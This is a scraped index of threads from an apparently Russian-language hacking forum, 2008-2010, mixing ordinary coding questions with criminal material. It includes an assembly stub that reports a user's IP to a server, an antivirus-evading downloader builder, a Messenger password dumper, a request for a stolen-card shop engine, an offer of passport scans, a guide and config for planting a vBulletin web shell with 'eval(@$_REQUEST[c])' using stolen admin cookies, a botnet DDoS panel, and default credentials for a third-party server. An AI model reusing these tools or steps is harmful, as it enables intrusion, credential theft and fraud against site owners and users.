ID: 67668b27b4103b69df375e57
Thread ID: 19191
Created: 2010-03-24T11:52:36+0000
Last Post: 2010-03-25T04:34:15+0000
Author: Империал
Replies: 10 Views: 3K

Уважаемые Мемберы!
Может быть кто нибуть выложит, под хайдом, или мне в личку?

Помогите пожалуйста
ID: 67668b27b4103b69df375e5b
Thread ID: 18616
Created: 2009-11-26T22:15:36+0000
Last Post: 2010-01-24T20:11:35+0000
Author: fractan
Replies: 3 Views: 3K

Уважаемые господа кодеры, помогите пожулуйста ничего не шарящему в программировании нубу

Помогите пожалуйста составить алгоритмы на basic и fortran для вычисления значений выражений

  1. Z = 0,8tg^2x/ e^2y10^3 ; x = 0,323 y = 7?3 * 10 ^-8

  2. tg^2*x√lna, x = a^4 (система уравнений)
    Y =
    sin x + ln a, x <= a^-2

  3. F = £ * √i/i^3 * e^i
    1-5,10,15,70

денег у меня к сожалению нет, но могу поделится неюзанными сканами паспортов

Вопрос про GET/POST
ID: 67668b27b4103b69df375e5e
Thread ID: 18659
Created: 2009-11-30T11:51:44+0000
Last Post: 2009-12-15T04:18:53+0000
Author: Chococream
Replies: 15 Views: 3K

Всем привет!
Данная тема думаю многим будет интересна...
Пишу некое подобие "стукача" на асме.
Суть его работы:
Запускается сокет, по шаблону GET/POST он лезет на скрипт, находящийся на сервере, который в свою очередь записывает его айпи, и т.п :)

Вроде набросал текста, скомпилил, но нет - даже сет. активности нету...
Кому не тяжело - посмотрите, может ошибся где, в нете много искал, но нашёл лишь на си, переписал что-то, получилось то, что вы видите в тэге CODE.
Ах, да и ещё если у кого идеи по этому поводу будут - пишите, буду рад!

Упростим задачу: Требуется например узнать айпишник юзверя(написать функцию - нет проблем), но вопрос как это в сокет воплотить и на сервер отправить, чтобы скрипт принял ?

Вот собственно исходник:

Spoiler: 15

Code:Copy to clipboard

.386
.model flat, stdcall
option casemap :none

include \masm32\INCLUDE\windows.inc
include \masm32\INCLUDE\kernel32.inc
include	\masm32\INCLUDE\ws2_32.inc
include \masm32\INCLUDE\wsock32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\wsock32.lib

.data?
hSocket  dd  ?
dwTime  dd  ?
sin  sockaddr_in	<>
wsData  WSADATA  <>

.data
; шаблон взял из исходника на фасме, так что могут быть ошибки, хотя у меня
; всё скомпилилось!
PostTemplate db 'POST /my_script.php HTTP/1.0',13,10
             db 'Host: '
HostName     db 'my_server.com',0,13,10
             db 'User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11',13,10
             db 'Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8',13,10
             db 'Accept-Language: en-us',13,10
             db 'Accept-Encoding: gzip,deflate',13,10
             db 'Keep-Alive: 300',13,10
             db 'Connection: Keep-Alive',13,10
.code
            mov eax, HostName
            push eax;это хост
          ; initializing winsock.....
	invoke	WSAStartup, 101h, ADDR wsData
call inet_addr;invoke  inet_addr, eax
	mov  [sin.sin_family], AF_INET
	mov	[sin.sin_port], 80
	mov	[sin.sin_addr], eax
	invoke	socket, PF_INET, SOCK_STREAM, 0
	mov	[hSocket], eax
	push	eax
	invoke	connect, eax, ADDR sin, sizeof sin
	invoke	send, [hSocket], ADDR PostTemplate, sizeof PostTemplate, 0
invoke closesocket, [hSocket]
; ТУТ можно ещё send, заменить на 
; invoke write, [hSocket], ADDR PostTemplate, sizeof PostTemplate
; разницы нету....
	call WSACleanup

П.С. Хайд поставил по собственному желанию, хотите обсудить - велкам в личку!

Есть ли двжиок онлайн шопа по продаже картона?
ID: 67668b27b4103b69df375e5f
Thread ID: 18594
Created: 2009-11-19T21:40:51+0000
Last Post: 2009-11-22T21:29:42+0000
Author: -StorM-
Replies: 5 Views: 3K

Собственно сабж.Очень интересно сие чудо.Кто что знает,где достать,кто подогнать может?Вариант "написать с нуля " не пойдет к сожалению.Но ествественно любой двиг будет перерабатываться и пересматриваться перед установкой

BlackCat php CGI scanner by Zer0
ID: 67668b27b4103b69df375e61
Thread ID: 16044
Created: 2008-10-23T13:56:19+0000
Last Post: 2009-11-02T23:58:39+0000
Author: Zer0
Replies: 1 Views: 3K

Это мой довольно старый проект выкладываю не последнию версию так как накрылся хард ((
В обшем оцените скрипт так как имею мысль переписать все тоже самое только на перл с поддержкой много поточности и еше много чего )

Spoiler: 3

Описание
Консольный php скрипт.
работает под win и nix

Возможности
[] Сканирование портов + выводит список возможных Троянов
[
] Сканирование дирректорий
[] Сканирование cgi сканирование (в этой версии не работает)
[
] Сканирование суб доменов

Download
:zns5: Скачать|Download

Click to expand...

Вопрос!?
ID: 67668b27b4103b69df375e62
Thread ID: 17921
Created: 2009-07-08T19:13:50+0000
Last Post: 2009-09-19T20:30:05+0000
Author: salamandra
Replies: 6 Views: 3K

Как отследить из юзермода выключение,перезагрузку,ребут в приложении
без окна!Точьнее из длл!

Оффлайн архив форума wasm.ru/forum/
ID: 67668b27b4103b69df375e63
Thread ID: 17388
Created: 2009-04-16T11:44:45+0000
Last Post: 2009-09-03T08:20:48+0000
Author: DeusTirael
Replies: 3 Views: 3K

Оффлайн архив форума wasm.ru/forum/ с аттачами

Новый:
16.04.09: http://www.sendspace.com/file/laszkb (97,2МБ)

Старый:
13.05.07: http://www.sendspace.com/file/ru8wgk (48,8МБ)

ZF проблема с mysql_real_escape_string()
ID: 67668b27b4103b69df375e65
Thread ID: 18180
Created: 2009-08-21T17:08:40+0000
Last Post: 2009-08-22T11:21:26+0000
Author: Одинокий Волк
Replies: 5 Views: 3K

Code:Copy to clipboard

Warning: mysql_real_escape_string() [function.mysql-real-escape-string]: Access denied for user 'root'@'localhost' (using password: NO)

Коннект с БД есть, делаю запросы до и после вызова этой функции, никаких ошибок нет, ошибоки только на вызове этих функций.
У кого нить есть идеи в чём кроется секрет этой функции?
Да самое интересное на локалке работает без ошибок, а на 2-х серверах нет.

Как создать thumbnail на PHP?
ID: 67668b27b4103b69df375e66
Thread ID: 17965
Created: 2009-07-16T05:34:46+0000
Last Post: 2009-07-17T03:44:52+0000
Author: Geograph
Replies: 3 Views: 3K

Возможно ли реализовать на PHP под *NIX-систему или может есть готовый скрипт, который будет сохранять скриншоты из видеофайлов различных форматов?

Для опытных РНР программистов
ID: 67668b27b4103b69df375e6a
Thread ID: 17762
Created: 2009-06-13T19:29:25+0000
Last Post: 2009-06-16T11:18:46+0000
Author: NewLifeMan
Replies: 7 Views: 3K

Я работаю над проектом "Alex-School" - программное обеспечение для школы...

В чем суть задачи.. А в том чтобы протестировать с точки зрения злоумышленика странички проекта. Я больше уделяю внимания функциональности и дизайну, а вопрос безопасности оставляю на потом.. Но все же может уже сейчас кто-то найдет дыру или лазейку для взлома. Буду рад всем, кто поможет..

Проектом я занялся с того лета.. В июне начал изучать HTML & CSS, а в июле РНР.. Но несмотря на это, вечера проведенные у монитора дали в итоге неплохие результаты - многие разделы уже готовы. Я работаю учителем и старался учесть все необходимые функции и инструменты для работы учителя, но в меру своих познаний как программиста.. По мере изучения PHP & JS код постоянно усовершенствуется.. Но тему безопасности я откладывал на второй план...

Есть два моммента, которые должны учесть те, кто согласится на участие в тестировании:

  1. проект расчитан на IE7, кроссбраузерностью я займусь позже...
  2. сраницы проекта используют несколько оригинальных шрифтов (ну это уже вопрос дизайна..)

Для тех, кто все еще согласен - www.NewLifeMan.com
(здесь скриншоты проекта и шрифты) и [Alex-School ](http://project.Alex- School.com/) (сам проект)

Помогите пожалуйста!
ID: 67668b27b4103b69df375e6b
Thread ID: 17675
Created: 2009-05-29T19:21:14+0000
Last Post: 2009-06-01T16:33:58+0000
Author: Mobile
Replies: 4 Views: 3K

Доброго времени суток!
Пишу диплом на VB, возникли проблеммы...
если кто шарит, стукните пожалуйста в 424224
Если что, могу материально отблагодарить.
Заранее спасибо!

Упаковка javascript
ID: 67668b27b4103b69df375e6c
Thread ID: 17679
Created: 2009-05-31T05:23:29+0000
Last Post: 2009-05-31T16:16:19+0000
Author: lisa99
Replies: 7 Views: 3K

Все, наверняка сталкивались со скриптами в ajax
Иногда их для экономии места сжимают (это не криптовка, вроде).

Вид такой

eval(function(p,a,c,k,e,r){e=function©{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e©]=k[c]||e©;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e©+'\\b','g'),k[c]);return p}('(s($){3.1s.1k=s(j){j=3.1a({12:'1m.1j'},j);8 k=(n.P=="r 10 Z"&&U(n.v)==4&&n.v.E("14 5.5")!=-1);8 l=(n.P=="r 10 Z"&&U(n.v)==4&&n.v.E("14 6.0")!=-1);o(3.17.16&&(k||l)){3(2).L("1r[@m$=.M]").z(s(){3(2).7('q',3(2).q());3(2).7('p',3(2).p());8 a='';8 b='';8 c=(3(2).7('K'))?'K="'+3(2).7('K')+'" ':'';8

....

Click to expand...

Вопрос.
а)что это за упаковщик- он стандартный, или каждый может написать свой?
б)код полностью распаковывается в браузере?

Как создать Toolbar?
ID: 67668b27b4103b69df375e6e
Thread ID: 17293
Created: 2009-04-02T07:54:34+0000
Last Post: 2009-04-26T06:29:00+0000
Author: WareZxZ
Replies: 2 Views: 3K

Здравствуйте уважаемые !
Не пинайте если не по разделу точно не знал куда писать, кто нить знает как создать Toolbar? и сложно ли это? Может есть у кого то инструкции.
Если кто то умеет его создавать то за сколько?

Perl Regex
ID: 67668b27b4103b69df375e6f
Thread ID: 17430
Created: 2009-04-25T10:42:50+0000
Last Post: 2009-04-25T12:41:18+0000
Author: jen140
Replies: 2 Views: 3K

Добрий день .
Я никак не могу из стринга :

myTMN

Click to expand...

Витянуть "1240655165108"
Пробовал :

if($string =~ m/ts=(.*)"/) {
print $1;

}

Click to expand...

Но видавало:

1240655165108" type="text/javascript">

Click to expand...

Помогите плз .

Обфускатор PHP
ID: 67668b27b4103b69df375e70
Thread ID: 17412
Created: 2009-04-23T10:00:02+0000
Last Post: 2009-04-23T15:10:58+0000
Author: lisa99
Replies: 5 Views: 3K

Свежая разработка вьетнамского кодера.
Может, что-то полезное в этом есть.

Key Features:
.: Obfuscate variable, function and class name
.: Reverse function
.: Remove whitespace and comment
.: Exclude particular variable, function and class name or file from obfuscate

Сайт разработчика здесь
http://phpobf.byethost16.com/

Там же генерируется ссылка на скачивание.
Или скачать можно здесь:
http://groups.google.com/group/php-obfuscator

Выкачиваем контент (как лучше?)
ID: 67668b27b4103b69df375e71
Thread ID: 17386
Created: 2009-04-15T07:26:35+0000
Last Post: 2009-04-15T09:20:06+0000
Author: lisa99
Replies: 5 Views: 3K

Чисто сеошная задачка.
Есть неделегированный домен, с которого я могу выкачать контент.
как то так:

/wget --recursive --header='Host: WWW.SHOP***.RU' 'http://81***'

Вопрос, как это сделать в винде?
И еще - а есть ли готовые качалки (скрипты/десктопные) , которые будут работать так же как teleport, но не с сайтами онлайн, а вот таким образом

Если кому то то нужно - могу подсказать, где попробовать найти и потянуть уник. контент (может еще что- чем смогу, поделюсь)

Ребята, нужна ваша помощ с Assembler.
ID: 67668b27b4103b69df375e72
Thread ID: 16427
Created: 2008-12-02T20:50:50+0000
Last Post: 2009-03-31T11:56:54+0000
Author: WhiteChapelHomeless
Replies: 3 Views: 3K

Завтро надо придоставить работу, неочен чево втыкаю, училка нечево необясняет.

Если кто может плиз помогите.

Микропроцессор 8080.

Задача Но.1:

Создайте програму числу X, находящейся в памяти клетки 8425, логически сложыть с цифрой Y, находящейся в регистре (реестре) B, к результату прибавив цифру 45, вписать в память клетки 8426.

1.Запишыте коды команд и коментарий.

2.Подсчитайте продолжительность действия программы.

3.Предоставьте все подсчеты процесса и окончательный результат системой H.

X=24, Y=A1

Надчало выглядет так:

1. LXI H, 8425; HL<--8425
2. MOV A,M ; A<--(HL)

Задача Но.2:

Тщательно и конкретно обьясните эти команды:

XRA C, SUB M, LDA 8346, JC addr

Спасибо за ответы.

Баг в php всех версий, работа с сессиями.
ID: 67668b27b4103b69df375e74
Thread ID: 17114
Created: 2009-03-10T00:22:07+0000
Last Post: 2009-03-10T15:23:37+0000
Author: Одинокий Волк
Replies: 4 Views: 3K

С мембером форума nulled, terkin общались, по кодингу, как лучше реализовать ему там один проект.
Посоветовал я ему сделать хранение данных не в файлах, а в сессии - это ведь по сути те же файлы, они так же лежат на сервере и получить данные из них нельзя, чем не альтернатива хранения данных без писанины во временный файл.
А писать ему надо было статус выполнения скрипта в фоновом режиме.
Примеры скрипта которые я в процессе тестов накидал доступны в архиве.

Так вот баг заключается в следующем.
Когда начинаем выполнять скрипт в фоновом режиме мы ему передаём сессию через аякс запрос ранее полученую на пользовательском интерфейсе, начинаем работать с этой сессией что-то там делать каждый 3 секунды к примеру и писать статус в сессию $_SESSION['status'] = date('s')... я писал время и счётчик.
Второй аякс запрос должен получать статус из этой самой сессии, там всё просто так же передаём номер сессии и выводим $_SESSION['status']

Так же в процессе отладки добавил в скрит который работает фоново и в код вывода статуса что бы он эти данные писал в лог файл, какой типа запроса статус или фоновая работа, время и данные сессии.

И вот что интересно получаем в результате работы.
Фоновый скрипт получает сессию и начинает свою работу.
Мы посылаем в это время аякс запрос на статус, т.е. на просто вывод данных этой же сессии и как не удевительно скрипт не можно получить доступ к файлу сессии, а значит и выдать нам её, он просто подвисает и ждёт освобождения.

Как только фоновый скрипт выполняется. Все аякс запросы статуса получают ответы с последними данными которые записаны в $_SESSION['status'] вот так вот

Смотрим лог файл что пишеться в процессе работы:

[start] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:40] start
[start] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:43] work 1
[start] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:46] work 2
[start] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:49] work 3
[start] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:52] end
[status] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:52] end
[status] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:52] end
[status] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:52] end
[status] sname: PHPSESSID sid: d8200f6a532cd72987204088c3cfadec status: [00:26:52] end

Click to expand...

[start] - это работа скрипта в фоновом режиме
[status] - это мои аякс запросы, которые были сделаны ВО ВРЕМЯ РАБОТЫ ФОНОВОГО СКРИПТА! Заметьте не после, как записалось в лог

Click to expand...

Вот и весь баг.

Прошу помощи в создании программы
ID: 67668b27b4103b69df375e78
Thread ID: 16767
Created: 2009-01-27T17:30:34+0000
Last Post: 2009-02-09T21:13:02+0000
Author: lenovo
Replies: 3 Views: 3K

Всем привет! :baby:

Сегодня на занятиях по вишуал бесику, учитель дал небольшое задание. Заключается оно в следущем:

Вот так она должна выглядеть:

Условия построения программы таковы:
Есть 10 учеников. И каждый получил свою оценку (по 6-ти бальной системе. ). Оценки каждого ученика вводятся поле для ввода. То есть всего должно быть введено 10 разных оценок по 6-ти бальной системе. После окончания ввода нужно нажать на Подсчет. Тогда в поле справа мы должно увидить сколько работ было написано на оценку 6,5,4,3,2 или 1. И в конце должна подсчитаться средняя оценка на которую написал весь класс.

Все это у меня прекрасно получилось. Но есть один последний штрих которого я не могу добиться и прошу вашей помощи. Надо чтобы в правом поле показалось, какая оценка самая плохая или самая хорошая.
1 это очень хорошо
6 это очень плохо

Внизу я прикрепил код который я уже сделал. Буду очень благодарен, если сможете помочь с определением самой плохой или самой хорошей оченкой, которая была написана.

Code:Copy to clipboard

Public Class Form1
    Dim i As Integer
    Dim Note1 As Integer
    Dim Note2 As Integer
    Dim Note3 As Integer
    Dim Note4 As Integer
    Dim Note5 As Integer
    Dim Note6 As Integer
    Dim eingabe As Integer
    Dim n1 As Double
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        i = i + 1
        eingabe = CInt(TextBox1.Text)
        If eingabe = 1 Then
            Note1 = Note1 + 1
            TextBox1.Clear()
        ElseIf eingabe = 2 Then
            Note2 = Note2 + 1
            TextBox1.Clear()
        ElseIf eingabe = 3 Then
            Note3 = Note3 + 1
            TextBox1.Clear()
        ElseIf eingabe = 4 Then
            Note4 = Note4 + 1
            TextBox1.Clear()
        ElseIf eingabe = 5 Then
            Note5 = Note5 + 1
            TextBox1.Clear()
        ElseIf eingabe = 6 Then
            Note6 = Note6 + 1
            TextBox1.Clear()
        End If
        If i = 10 Then
            Button1.Enabled = False
            TextBox1.Enabled = False
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        i = 0
        Note1 = 0
        Note2 = 0
        Note3 = 0
        Note4 = 0
        Note5 = 0
        Note6 = 0
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        ListBox1.Items.Clear()
        ListBox1.Items.Add("*******************")
        ListBox1.Items.Add("Оценка1  ->" & Note1 & " раз")
        ListBox1.Items.Add("Оценка2  ->" & Note2 & " раз")
        ListBox1.Items.Add("Оценка3  ->" & Note3 & " раз")
        ListBox1.Items.Add("Оценка4  ->" & Note4 & " раз")
        ListBox1.Items.Add("Оценка5  ->" & Note5 & " раз")
        ListBox1.Items.Add("Оценка6  ->" & Note6 & " раз")
        ListBox1.Items.Add("*******************")
        n1 = (Note1 * 1 + Note2 * 2 + Note3 * 3 + Note4 * 4 + Note5 * 5 + Note6 * 6) / i
        ListBox1.Items.Add("Средняя оценка    " & n1)
    End Sub
End Class

Спасибо зарание! :help:

Отправка форм на электронную почту
ID: 67668b27b4103b69df375e79
Thread ID: 16687
Created: 2009-01-19T00:36:03+0000
Last Post: 2009-01-19T10:00:09+0000
Author: molniya
Replies: 3 Views: 3K

Здравствуйте уважаемые форумчане.
Я только начал изучение PHP и нужна помощь специалистов.

Нашел скрипт отправки почты на мыло,немного модифицировал его.Скрипт отправляет почту только в заголовке Темы "Не указана" и отправитель "Nobody"

--Как прописать чтоб отправитель был site.ru И тема "Форма заявки"'
--Нужна чтоб все поля были заполнены соответственно.

Code:Copy to clipboard

<?php
/* Set e-mail recipient */
$myemail  = "bumbastik@mail.ru";


/* Check all form inputs using check_input function */
$yourname = check_input($_POST['opfb'], "Введите Организационно-правовая форма бизнеса");
$subject  = check_input($_POST['name'], "Введите контактное лицо");
$MRB  = check_input($_POST['MRB'], "Введите место регистрации бизнеса");
$MVB  = check_input($_POST['MVB'], "Введите место ведения бизнеса");
$SRB  = check_input($_POST['SRB'], "Введите cрок регистрации бизнеса");
$SN  = check_input($_POST['SN'], "Введите cистему налогооблажения");
$OO  = check_input($_POST['OO'], "Введите официальная отчетность");
$age  = check_input($_POST['age'], "Введите Возраст участника/ИП");
$bissnes  = check_input($_POST['bissnes']);
$kredit  = check_input($_POST['kredit']);
$dolwnost  = check_input($_POST['dolwnost']);
$tel  = check_input($_POST['tel'], "Введите телефон");
$email    = check_input($_POST['email']);
$summa  = check_input($_POST['summa'], "сумма кредита");
$srok   = check_input($_POST['srok'],"Срок кредита");
$zalog = check_input($_POST['zalog']);
$comments = check_input($_POST['comments'], "Write your comments");



/* If e-mail is not valid show error message */
if (!preg_match("/([\w\-]+\@[\w\-]+\.[\w\-]+)/", $email))
{
    show_error("E-mail address not valid");
}
/* Let's prepare the message for the e-mail */
$message = "Салют!

   Заявка на кредит !!!

Организационно-правовая форма бизнеса: $yourname
Вид деятельности: $comments
E-mail: $email
Место регистрации бизнеса:$MRB
Место ведения бизнеса: $MVB
Срок регистрации бизнеса: $SRB
Система налогооблажения: $SN
Официальная отчетность: $OO
Возраст участника/ИП: $age 
Наличие кредитов на бизнес: $bissnes
Наличие кредитов у участника/ИП: $kredit
Телефон: $tel
Сумма кредита: $summa
Срок кредита: $srok 
Залог: $zalog
End of message
";

/* Send the message using mail() function */
mail($myemail, $subject, $message);

/* Redirect visitor to the thank you page */
header('Location: thanks.htm');
exit();

/* Functions we used */
function check_input($data, $problem='')
{
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    if ($problem && strlen($data) == 0)
    {
        show_error($problem);
    }
    return $data;
}

function show_error($myError)
{
?>
    <html>
    <body>

    <b>Заполните все поля анкеты</b>

    <?php echo $myError; ?>

    </body>
    </html>
<?php
exit();
}
?>
ODESA DOWNLOADER BUILDER [FULL SOURCE]
ID: 67668b27b4103b69df375e7c
Thread ID: 16325
Created: 2008-11-20T23:58:38+0000
Last Post: 2008-11-21T06:51:08+0000
Author: odesa
Replies: 2 Views: 3K

**Hi my friends,
I coded an downloader builder with stub.
I tried another way for downloading file, I used inet.Because AV's can't understand its a downloader.I hope you like it.Thx all of elhacker.net users ;)

http://www.rapidshare.de/files/40957352/Od...loader.zip.html**

Thx :punk: :punk: :punk:

Заказ Upload плагина на RapGet
ID: 67668b27b4103b69df375e7d
Thread ID: 16047
Created: 2008-10-23T19:41:49+0000
Last Post: 2008-11-19T21:25:37+0000
Author: Nightmarе
Replies: 1 Views: 3K

delete

[php] снифить icmp
ID: 67668b27b4103b69df375e81
Thread ID: 15918
Created: 2008-10-09T03:23:42+0000
Last Post: 2008-10-09T11:52:34+0000
Author: Одинокий Волк
Replies: 3 Views: 3K

Как-нибудь реально вообще на уровне пхп проснифать icmp(ping) к серверу.
Мне нужно просто сохранять логи пингов, содержание пакетов.
Возможно это покажется вам странным, но действительно не могу догнать что-то реально это вообще или нет :bang:

Messenger Pass Dumper
ID: 67668b27b4103b69df375e84
Thread ID: 15802
Created: 2008-09-23T21:38:33+0000
Last Post: 2008-09-23T21:38:33+0000
Author: Noctambulaar
Replies: 0 Views: 3K

**save Windows Live Messenger = > 8.5 accounts and passwords **

Может кто выручит ???
ID: 67668b27b4103b69df375e85
Thread ID: 15782
Created: 2008-09-20T17:59:02+0000
Last Post: 2008-09-22T11:06:42+0000
Author: CannabiS
Replies: 5 Views: 3K

Разыскиваю этот скрипт для Грабинга новостей с DLE сайтов
Описание:
Сервер для перекачки и зеркалирования файлов по обменникам

В состав скриптов входят:
-рассылка. Полностью копирует интерфейс ДЛЕ, не надо вписывать кучу категорий, а просто выбрать нужную из списка (есть все основные категории, всего 30 категорий и подкатегорий), а подобрать правильную на каждом сайте - это уже забота скрипта (Используются интеллектуальные алгоритмы анализа, а не тупое сравнение со списком заданных. Например, если выбрана категория 'иконки', но на сайте ее нет, новость будет добавлена в дизайн, если нет и дизайна, то в разное...и это далеко не самый сложный пример. Ошибается скрипт очень редко), скрипт распознает капчу и запрашивает ее у пользователя в интерактивном режиме, отчитывается по ходу рассылки (добавлено, категория/не добавлено, причина ошибки, общая статистика), Вы сами составляете свой личный список сайтов для рассылки через интерфейс (без моей помощи, никаких файлов редактировать не нужно), поддерживаются нестандартные адреса формы добавления новости, в том числе и админка, Вы постите под своим логином, поддерживается заливка картинок непосредственно на сайты (можно выбрать, на какие сайты лить, а на каких и радикал/айпикче прокатит), есть предпросмотр новости, скрипт способен получать инфу о персональных сообщениях (если таковые найдены, по завершении рассылки сообщит Вам, на каких сайтах и сколько Вам было прислано ЛС), есть обнаружение аварийного завершения работы (если, например, Вы закрыли броузер до завершения рассылки, а скрипт встретил сайт с капчей и запросил ее у Вас, но Вы этого уже не увидели этого и не ввели ее... При следующем запуске он сообщит, что есть не завершенная рассылка и предложит продолжить ее с места остановки. Таким образом не надо будет заново писать новость и вспоминать сайт, на котором остановилась рассылка, а просто нажать на кнопку. Так же продолжение рассылки можно отложить или отменить вообще.) Рассылка новости на 85 сайтов без капчи занимает приблизительно 3 минуты, ну а с капчей зависит от оперативности юзера));

-граббер новостей. Большинство тупо перезаливает новости с других сайтов, так зачем же их копировать руками, заново восстанавливать ббкоды и пр... Это можно доверить скрипту. Скармливаете ему ссылку на полную новость, и через пару сек. он выдаст вам готовую новость уже в ббкодах, выделит отдельно ссылки (чтоб их можно было сразу отправить на скачивание), выберет картинки (их можно залить из скрипта на радикал или айпикче со всеми доступными опциями, можно преобразовать радикаловские картинки с предпросмотром к их полным версиям), и, наконец, весь текст новости можно одним нажатием кнопки скопировать в рассыльник.

-граббер ссылок. Зачем заходить каждый раз в свой аккаунт на обменнике, чтоб забрать ссылки на свежезалитый файл, а особенно если это релиз на 7-10Гб, а потом еще сортировать их и оформлять в ббкоды? Достаточно указать скрипту, сколько ссылок Вы хотите получить (отсчет идет с последнего, самого свежего, залитого файла), и нажать кнопку. Скрипт получит нужное количество ссылок, отсортирует их в алфавитном порядке, и выдаст в 2 вариантах: обычном и уже оформленными в ббкоды
...

Также одним кликом ссылки добавляются к новости в рассылник. На данный момент поддерживаются: рапида, депозит, фэктори, мега, летитбит, випфайл, смсфайлс.

И все это объединено в одном удобном, красивом, интерактивном аякс интерфейсе.




Управление происходит через простой и удобный веб-интерфейс, Вам не понадобится каких-либо специальных знаний для работы с сервером.

Доступ только к скрипту рассылки - 30$/мес

Если Вас заинтересовало данное предложение, стучите 351894393.

Если у кого имеется в наличии поделитесь....а то как то нету желания платить 30 бакинских в месяц ...

Нашол что этот скрипт висит на этом адрессе https://92.48.96.17:7777/main.php
ник admin
pass admin
вроде такие были...

1000 сорцов
ID: 67668b27b4103b69df375e86
Thread ID: 15783
Created: 2008-09-20T20:05:56+0000
Last Post: 2008-09-21T09:19:42+0000
Author: Noctambulaar
Replies: 1 Views: 3K

Скачать

File size: 60147KB.

(php) пишет ошибку, связанную с делением на ноль
ID: 67668b27b4103b69df375e87
Thread ID: 15776
Created: 2008-09-20T08:28:27+0000
Last Post: 2008-09-21T08:31:12+0000
Author: WennY
Replies: 6 Views: 3K

Code:Copy to clipboard

<td><img src="diagram.php?values='.($totalCount-$onlineCount).':'.$onlineCount.':&legend='.round(( $totalCount-$onlineCount)*100/$totalCount, 2).'%%20OffLine%20Bots:'.round($onlineCount*100/$totalCount, 2).'%%20OnLine%20Bots:"></td>
<td><img src="diagram.php?values='.$FreeDDOS.':'.$InDDOS.': &legend='.round($FreeDDOS*100/$onlineCount, 2).'%%20Free%20DDoS:'.round($InDDOS*100/$onlineCount, 2).'%%20DDoS%20Bots:"></td>

Говорит
Warning: Division by zero in /home/tu2.ru/w/we/wenny/htdocs/www/functions.php on line 1480/1481. Чо ему там не нравится

Весь код файла functions.php тут

setInterval() в ActionScript
ID: 67668b27b4103b69df375e88
Thread ID: 15685
Created: 2008-09-08T01:29:50+0000
Last Post: 2008-09-20T19:07:17+0000
Author: Ma-stiff
Replies: 1 Views: 3K

Code:Copy to clipboard

var A = 1;
function Abc(A) {
	if (A<10) {
  trace("10");
  A++;
	} else if (A<20) {
  trace("20");
  A++;
	} else {
  trace("Done");
  clearInterval(IntervalID);
	}
}
IntervalID = setInterval(Abc(A),1000);

По идее процедура должна вызываться каждую секунду пока переменная не превысит указанное значение. На деле вызывается только 1 раз и всё. Код хоть и тестовый, но вроде правильный.

Azazel binder
ID: 67668b27b4103b69df375e8a
Thread ID: 15779
Created: 2008-09-20T15:00:20+0000
Last Post: 2008-09-20T15:15:20+0000
Author: Noctambulaar
Replies: 2 Views: 3K
Google Web Toolkit
ID: 67668b27b4103b69df375e8d
Thread ID: 14934
Created: 2008-04-10T05:34:38+0000
Last Post: 2008-08-26T22:22:05+0000
Author: SapienS
Replies: 3 Views: 3K

http://code.google.com/webtoolkit/

Собственно вопрос - работал ли кто с этой штукой и что о ней думает?

Для тех кто в танке небольшое объяснение:

Google Web Toolkit (GWT) makes it easier to write high-performance AJAX applications. You write your front end in the Java programming language and GWT compiles your source into highly optimized JavaScript. Writing web apps today is a tedious and error-prone process. You spend 90% of your time working around browser quirks, and JavaScript's lack of modularity makes sharing, testing, and reusing AJAX components difficult and fragile. It doesn't have to be that way.

High performance JavaScript. GWT produces AJAX apps that:
Load faster than hand-written JavaScript apps
Use smaller, more compact, cacheable code
Automatically support IE, Firefox, Mozilla, Safari, and Opera
Use the browser's "back" button correctly

Better development tools. Since you're writing in Java, you can use:
IDEs that you love like Eclipse, IntelliJ, and NetBeans
Full-featured debugging, with variable watches and breakpoints
Unit tests (based on JUnit) both in a debugger and in a browser

Google APIs and reusable UI components. GWT comes equipped with useful libraries:
Built-in UI components serve as cross-browser building blocks for your app
RPC helps with client-server interaction
JavaScript Native Interface (JSNI) simplifies integrating GWT code with existing JavaScript code

Click to expand...

Скрипт автовставки шелла в vBulletin через plugins
ID: 67668b27b4103b69df375e8f
Thread ID: 15286
Created: 2008-07-26T08:03:41+0000
Last Post: 2008-07-26T17:11:37+0000
Author: DeusTirael
Replies: 1 Views: 3K

Вот написал скрипт для автоматизации этого процесса.

Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда

Click to expand...

Настройка простейшая, нужно всего-лишь подставить свои данные.
Вместо логина и пароля можно подставить перехваченые куки админки.

Code:Copy to clipboard

$login = "admin";  //  admin login
$passw = "123";  //  admin password
$cookies = "";  //  or cpsession cookies
$admincp = "http://testing/vbl/admincp/";  //  admincp link
$pltitle = "plugin";  //  plugin title
$shellcode = 'eval(@$_REQUEST[c]);';  //  shell PHP code

Скрипт в аттаче.

Perl эксплоет для тренировок .
ID: 67668b27b4103b69df375e90
Thread ID: 15266
